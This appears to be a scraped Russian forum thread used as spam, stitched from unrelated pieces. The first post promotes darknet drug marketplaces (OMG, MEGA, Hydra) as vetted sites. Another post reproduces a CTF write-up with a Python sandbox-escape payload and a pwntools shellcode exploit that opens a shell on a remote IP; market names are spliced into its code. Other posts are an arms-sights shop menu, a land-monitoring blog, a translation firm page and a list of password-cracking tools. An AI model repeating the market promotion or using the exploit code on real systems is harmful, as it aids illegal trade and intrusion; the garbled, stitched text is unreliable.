Ramp не работает сегодня ramppchela com

Tysisil

Поддержка
Подтвержденный
Сообщения
476
Реакции
24
Уважаемые пользователи RuTOR , Все сайты из нашего списка проверены и находятся онлайн, их нет в скам листах. Остерегайтесь фишинг сайтов и помните об уголовной ответственности за незаконные сделки. Подборка официальных сайтов по продаже веществ от форума Rutor носит исключительно информативный характер.

1. OMG!OMG - MOST ADVANCED DARKMARKET

Эта площадка существует довольно давно и в этот период она медленно развивалась в тени гидры. В настоящее время это ведущий сайт по продаже веществ в даркнете.
 

 

2. MEGA - DARKNET MARKET

Благодаря хорошей подготовке и листингу на зарубежных сайтах площадка смогла составить конкуренцию в стабильности и доступности, чего не смогли ее конкуренты, но все же она уступает по полпулярности площадке OMG!OMG!

 

3. HYDRA - Возрождение легенды.

Идут работы по восстановлению всеми любимой гидры, но все не так просто как казалось ранее, совсем скоро она будет доступна, а сейчас нам остается только ждать релиза от команды HYDRA.

 

________________________
RUTOR — Главная торговая и информационная площадка в сети Tor.



F

Fekyxec

Местный
Сообщения
111
Реакции
18
Ramp не работает сегодня ramppchela com
This is my write-up for гидра recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, гидру or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', гидры '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
 
C

Cojyx

Местный
Сообщения
37
Реакции
17
MyAccountView MyCartHomeShopAbout UsQ&ASupportContactUsDocumentsScopesMountsSightsReloadingAccessoriesActionPartsNavigationHomeShopAbout UsQ&ASupportContact UsDocumentsScopesMountsSightsReloadingAccessoriesActionPartsUnparalleled Quality About MVAVintage Sights, Scopes, Mountsand AccessoriesOur CatalogueSee for yourself why we're thebest in the businessTrophy RoomAmazing experiences using MVAproductsNEW PRODUCTSSelectoptionsHadleyEyediscs$74.00 –$113.00Select optionsMVA Combination Front Sight$89.00SelectoptionsInsert/ApertureCards$21.00Out ofstockReadmoreSightInsert Caddy$12.00SelectoptionsBlowTubesRated 5.00 out of 5$10.00Select options#113 Spirit Level Non-Windage Sight$167.00SelectoptionsCustomLeather Sacks$22.00SelectoptionsScrew-onBlock$15.00 –$30.00Add tocartSouleKnurled Knob$36.00SelectoptionsDovetailBlock$20.00Selectoptions#111Plain Globe Sight$96.00Selectoptions#101 MidRange$425.00Product TagsThe Retailer ConnectFacebookLinkedinTwitter Visit Gold BeeSee their CBD GummiesLovely CBD OilCheck out their CBD ProductsCopyright 2014 - MontanaVintage Arms, All Rights Reserved Terms ofService - PrivacyPolicyHomeShopAbout UsQ&ASupportContactUsDocumentsScopesMountsSightsReloadingAccessoriesActionPartsNavigationHomeShopAbout UsQ&ASupportContact UsDocumentsScopesMountsSightsReloadingAccessoriesActionPartsPoweredbyWordPressSupport
Ramp не работает сегодня ramppchela com
 

Lywunoqu

Юзер
Сообщения
82
Реакции
18
Managing and Monitoring Landscapes Protecting and improving land health requires comprehensive landscape management strategies. Land managers have embraced a landscape-scale philosophy and have developed new methods to inform decision making such as satellite imagery to assess current conditions and detect changes, and predictive models to forecast change. The Landscape Toolbox is a coordinated system of tools and methods for implementing land health monitoring and integrating monitoring data into management decision-making.The goal of the Landscape Toolbox is to provide the tools, resources, and training to land health monitoring methods and technologies for answering land management questions at different scales.Nelson Stauffer Uncategorized 0The core methods described in the Monitoring Manual for Grassland, Shrubland, and Savanna Ecosystems are intended for multiple use. Each method collects data that can be used to calculate multiple indicators and those indicators have broad applicability. Two of the vegetative methods, canopy gap and vegetation height, have direct application…Continue readingNelson Stauffer Uncategorized 0Quality Assurance (QA) and Quality Control (QC) are both critical to data quality in ecological research and both are often misunderstood or underutilized. QA is a set of proactive processes and procedures which prevent errors from entering a data set, e.g., training, written data collection protocols, standardized data entry formats,…Continue readingNelson Stauffer Uncategorized 0In order to meet its monitoring and information needs, the Bureau of Land Management is making use of its Assessment, Inventory, and Monitoring strategy (AIM). While taking advantage of the tools and approaches available on the Landscape Toolbox, there are additional implementation requirements concerning the particulars of sample design, data…Continue readingNelson Stauffer Methods Guide, Monitoring Manual, Training 0We’ve added two new videos demonstrating and explaining the Core Methods of Plant species inventory and Vegetation height to our collection. These are two methods that previously didn’t have reference videos, although the rules and procedures for both can be found in volume I of the Monitoring Manual for Grassland, Shrubland,…Continue readingSarah McCord Methods Guide, Monitoring Manual, Training 0Question: Are succulents counted as a woody species when measuring vegetation heights? Answer: Yes. Succulent plant species are considered to be woody in contrast to herbaceous because their function is more similar to woody vegetation than herbaceous vegetation in many applications of these data. From a wildlife viewpoint: Some succulents are…Continue readingNelson Stauffer Blog, News, Presentations 0The 68th annual Society for Range Management meeting held in the first week of February 2015 in Sacramento, California was a success for the Bureau of Land Management’s Assessment, Inventory, and Monitoring (AIM) strategy. Staff from the BLM’s National Operations Center and the USDA-ARS Jornada hosted a day-long symposium to…Continue readingJason Karl Blog, Sample Design sample design, sampling 0What is an Inference Space? Inference space can be defined in many ways, but can be generally described as the limits to how broadly a particular results applies (Lorenzen and Anderson 1993, Wills et al. in prep.). Inference space is analogous to the sampling universe or the population. All these…Continue readingNelson Stauffer Blog, Monitoring Tools & Databases, News 0A new version of the Database for Inventory, Monitoring, and Assessment has just been released! This latest iteration—as always—aims to improve stability and reliability for field data collection on a tablet and data report generation in the office. For more information about DIMA and how it fits into project designs,…Continue readingJason Karl Blog, News 0In compiling information for the redesign of the Landscape Toolbox website and the second edition of the Monitoring Manual, I kept referring back to a small set of seminal references. These are my “Go-To” books and papers for designing and implementing assessment, inventory, and monitoring programs and for measuring vegetation…Continue readingJason Karl Blog, News 0We’re excited to show off the new redesign of the Landscape Toolbox. We’re in the middle of not only refreshing the website, but also completely overhauling the content and how it’s organized in the Toolbox. This version of the Toolbox is draft at this point and is evolving rapidly. Take…Continue reading
 

Orynaqyf

Юзер
Сообщения
101
Реакции
14
FullScreenCompanyPresentationletterQualitystatementHistory of Hermes TraduccionesWhyHermes?Experienceand applicationsAssociationmembershipServicesGeneralservicesSpecialistfieldsFree language-queries serviceManagement& QualityProcesscontrolIn-house management and production teamsStandardisationEN-15038StandardCertificationExternalpartnersTrainingInternalcoursesPost-graduatecoursesOtheractivitiesCollaboration with universitiesContactMadridofficeFacebook &Twitter Hermes Traducciones y Servicios Lingüísticos, S. L. ® 2018 |Data protection | Legal notice
 
O

Ovekykyq

Юзер
Сообщения
117
Реакции
11
Looking for an alternative tool to replace THC omg? During the review of THC omg we looked at other open source tools. Based on their category, tags, and text, these are the ones that have the best match.Alternatives (by score)60IntroductionPatator is based on similar tools like omg, yet with the goal to avoid the common flaws these tools have like performance limitations. The tool is modular and supports different types of brute-force attacks or enumeration of information.Project detailsPatator is written in Python.Strengths and weaknesses+ More than 500 GitHub stars+ The source code of this software is availableTypical usagePassword discoveryPenetration testingReconnaissanceVulnerability scanningPatator review100IntroductionHashcat can be used to discover lost passwords, or as part of a security assignment. For example, it could be trying to crack a password from a password file that was obtained during a penetration test.Project detailshashcat is written in C.Strengths and weaknesses+ More than 25 contributors+ More than 4000 GitHub stars+ The source code of this software is available+ Well-known toolTypical usagePassword discoveryhashcat review56IntroductionThe acccheck tool performs a password guessing and dictionary attack on SMB services used to share files and printers.Project detailsacccheck is written in Perl.Strengths and weaknesses+ The source code of this software is availableTypical usagePassword discoveryPassword strength testingacccheck review60IntroductionA tool like this would be most likely used to show the weakness of old authentication protocols, including penetration testing.Project detailseapmd5pass is written in C.Strengths and weaknesses+ The source code of this software is availableTypical usageNetwork analysisPassword discoveryPenetration testingeapmd5pass review56IntroductionJohn the Ripper is a mature password cracker to find weak or known passwords. It works on Linux and other flavors of Unix and Microsoft Windows.Project details60Introduction0d1n is useful to perform brute-force login attempts for authentication forms. It can discover useful directory names by using a predefined list of paths. With options to use a random proxy per request and load CSRF tokens, it is a tool that can be used in different type of assignments.Project details0d1n is written in C.Strengths and weaknesses+ The source code of this software is availableTypical usageInformation gatheringPenetration testingSecurity assessmentVulnerability scanning0d1n review60IntroductionWhile most brute forcing tools take a similar approach, Crowbar can use different methods that are not always available in other utilities. For example, Crowbar can use SSH keys, instead of the typical username and password combination. This might be useful during penetration testing when these type of details are discovered.Project detailsCrowbar is written in Python.Strengths and weaknesses+ The source code of this software is availableTypical usagePenetration testingCrowbar review74IntroductionFail2Ban is an intrusion prevention software framework that protects computer servers from brute-force attacksProject detailsFail2ban is written in Python.Strengths and weaknesses+ More than 2000 GitHub stars+ The source code of this software is availableTypical usageNetwork traffic filteringSecurity monitoringFail2ban review64IntroductionIKEForce is a command line utility to brute force VPN connections (IPSEC) that allow group name/ID enumeration and XAUTH.Project detailsIKEForce is written in Python.Strengths and weaknesses+ The source code of this software is availableIKEForce review64IntroductionRouterSploit is a framework to exploit embedded devices such as cameras and routers. It can be used during penetration testing to test the security of a wide variety of devices. RouterSploit comes with several modules to scan and exploit the devices. The tool helps in all steps, like from credential testing to deploying a payload to perform an exploitation attempt.Project detailsRouterSploit is written in Python.Strengths and weaknesses+ More than 50 contributors+ More than 6000 GitHub stars+ The source code of this software is availableTypical usagePenetration testingSelf-assessmentSoftware testingVulnerability scanningRouterSploit review60IntroductionThis toolkit is fairly new and consists of WPForce and Yertle. As the name implies, the first component has the focus on brute force attacking of login credentials. When admin credentials have been found, it is Yertle that allows uploading a shell. Yertle also has post-exploitation modules for further research.Project detailsWPForce is written in Python.Strengths and weaknesses+ The source code of this software is availableTypical usagePenetration testingSecurity assessmentVulnerability scanningWPForce review52IntroductionWith WPSeku a WordPress installation can be tested for the presence of security issues. Some examples are cross-site scripting (XSS), sql injection, and local file inclusion. The tool also tests for the presence of default configuration files. These files may reveal version numbers, used themes and plugins.Project detailsWPSeku is written in Python.Strengths and weaknesses+ The source code of this software is availableTypical usagePenetration testingSecurity assessmentVulnerability scanningWPSeku review60IntroductionWfuzz is a fuzzing tool written in Python. Tools like Wfuzz are typically used to test web applications and how they handle both expected as unexpected input.Project detailsWfuzz is written in Python.Strengths and weaknesses+ More than 1000 GitHub stars+ The source code of this software is availableTypical usageApplication fuzzingApplication securityApplication testingWeb application analysisWfuzz review60IntroductionWhen a project requires resolving or guessing host names, then this tool is a great addition to the toolkit. It focuses on 'fast' by using asynchronous operations. The list of names to try is provided with a wordlist.Project detailsaiodnsbrute is written in Python.Strengths and weaknesses+ Very low number of dependencies+ The source code of this software is availableTypical usageNetwork scanningPenetration testingaiodnsbrute review85IntroductionThis tool may be used by developers that work with the Django framework. It adds a security layer on top of the application by looking at login attempts and track them.Project detailsdjango-axes is written in Python.Strengths and weaknesses+ More than 50 contributors+ The source code of this software is availableTypical usageApplication securitydjango-axes review100IntroductionThe typical users have at least a multitude of ten when it comes to passwords. Ensuring that every website has a unique password and remembering, is almost impossible. Passwords managers like Buttercup help with the generation and secure storage of these secrets. It is freely available and open source, making it a good alternative for commercial options.Project detailsButtercup for desktop is written in Node.js.Strengths and weaknesses+ More than 10 contributors+ More than 1000 GitHub stars+ The source code of this software is availableTypical usagePassword managementButtercup for desktop review74IntroductionMost applications with a connection to a database or other software component, need some form of authentication. Often the related credentials are stored in a configuration file. A secret manager like Confidant will provide an alternative, by storing the details in a database. Only applications that need to access the secrets are allowed to obtain them. Often system administrators are denied access to them.Project detailsConfidant is written in Python.Strengths and weaknesses+ More than 1000 GitHub stars+ The source code of this software is available+ Supported by a large companyTypical usageSecrets managementSecure storageConfidant review63IntroductionThe database is encrypted with AES (alias Rijndael) or Twofish encryption algorithm using a 256-bit key. KeePassX uses a database format that is compatible with KeePass Password Safe.Project detailsKeePassX is written in C++.Strengths and weaknesses+ The source code of this software is available+ Well-known toolTypical usageSecure storageKeePassX review97IntroductionKeePassXC is a cross-platform platform to store sensitive data like passwords, keys, and other secrets. It has a graphical user interface and is written in C++.Project detailsKeePassXC is written in C++.Strengths and weaknesses+ More than 50 contributors+ Runs on multiple platforms+ More than 1000 GitHub stars+ The source code of this software is availableTypical usagePassword managementSecure storageKeePassXC review60IntroductionThe LaZagne tool can be a good addition to the toolkit of pentesters or forensic specialists to recover sensitive details from systems. For a pentester, this typically means that limited access has been gained. By trying to find passwords from local applications, the step to other applications or privilege level might be possible. For example, a password that is shared among multiple services, or even finding an administrator password.Project detailsLaZagne is written in Python.Strengths and weaknesses+ More than 10 contributors+ More than 3000 GitHub stars+ The source code of this software is availableTypical usageData extractionInformation gatheringPassword discoveryPassword recoveryLaZagne review60IntroductionPassGen is a tool to help with password dictionary attacks to guess a password. It does not perform the attack but creates the related database.Project detailsPassGen is written in Python.Strengths and weaknesses+ The source code of this software is availableTypical usagePassword discoveryPassword strength testingSecurity assessmentPassGen review60IntroductionPassmgr is a simple portable password manager written in Go. It helps with storing secrets, like passwords and API keys.Project details64IntroductionStoring passwords within a team security can be a challenging task. TeamVault is a password manager with the goal to be easy to use, flexible, and adhering to several security principles. These include a solid base for the data encryption, support for folders, and role-based access control (RBAC).Project detailsTeamVault is written in Python.Strengths and weaknesses+ The source code of this software is availableTypical usagePassword managementSecrets managementTeamVault review56IntroductionThe tool requires root permissions to work.Project detailsmimipenguin is written in Python, shell script.Strengths and weaknesses+ The source code of this software is availableTypical usageInformation gatheringSecurity assessmentmimipenguin reviewSome relevant tool missing as an alternative to THC omg? Please contact us with your suggestion.
 
Сверху Снизу